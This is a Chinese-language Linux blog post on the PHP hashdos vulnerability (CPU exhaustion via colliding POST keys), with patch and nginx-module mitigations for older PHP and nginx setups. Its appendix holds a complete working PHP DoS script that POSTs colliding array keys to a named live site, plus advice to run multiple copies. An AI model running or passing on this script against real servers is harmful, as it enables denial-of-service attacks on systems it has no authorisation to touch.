首页 » Linux » 阅读文章
php漏洞之hashdos攻击与解决方法
这个漏洞出来好几个月了,今天做了一个任务才得知,测试了一下,通过一个简单的php文件即可让你的服务器CPU 100%,非常可怕。影响版本php 5.3.2以前,所以大家要尽快升级服务器处理。
环境:
ubuntu 10.04
php5.3.2
nginx1.0.12
解决方法有2种:
一.升级php打补丁
二.安装nginx hsshdos模块
方法一:
1)采用php-cgi 的系统
apt-get update
apt-get install php5-cgi php5-cli (只更新php 相关,如果服务器繁忙,可以先停止nginx php5-fpm)
升级验证:
php5-cgi -i|grep max_input_vars如果全局和本地值是1000 说明OK,然后重启php-cgi 服务
2)采用php-fpm 的系统
sudo apt-get install php5-suhosin
sudo sed -i “s/;suhosin\.post\.max_vars/suhosin\.post\.max_vars/” /etc/php5/fpm/conf.d/suhosin.ini
grep suhosin.post.max_vars /etc/php5/fpm/conf.d/suhosin.ini
sudo /etc/init.d/php5-fpm restart输出是:
suhosin.post.max_vars = 1000 #限制最多有1000个POST参数
方法二:
1)下载hashdos模块,重新编译nginx
https://github.com/54chen/nginx-http-hashdos-module
cd
wget https://nodeload.github.com/54chen/nginx-http-hashdos-module/tarball/master
tar xvzf master
cd nginx1.0.12
./configure –user=www-data –group=www-data –prefix=/usr/local/nginx \
–with-http_stub_status_module –with-http_gzip_static_module \
–with-http_sub_module –add-module=/root/54chen-nginx-http-hashdos-module-f84d909/2)修改nginx
vi nginx.conf
#在http区域添加下面4行
hashdos on;
body_max_count 1000;
client_max_body_size 10m;
client_body_buffer_size 10m;注意事项,如果是上传服务器client_max_body_size为100M以上,建议使用方法一
因为计算参数都在内存中进行,所以client_body_buffer_size 与 client_max_body_size 的值一定要相等。推荐2m。
重启nginx
附:
PHP的hash漏洞DDoS攻击脚本,请勿用于非法行为
vi dos.php
<?php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
// 不要攻击我哦^_^,服务器已打补丁
$host = ‘http://www.jwzzsw.com/index.php’;
$data = ”;
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= ‘&array[‘ . $key . ‘]=0′;
}
$ret = curl($host, ltrim($data,’&’));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout – 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Expect:’));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info[‘http_code’];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
?>执行:
php dos.php如果没打补丁,CPU很快就会100%,可以执行多个php dos.php
OK!
评论 共1条 (RSS 2.0) 发表评论
受教~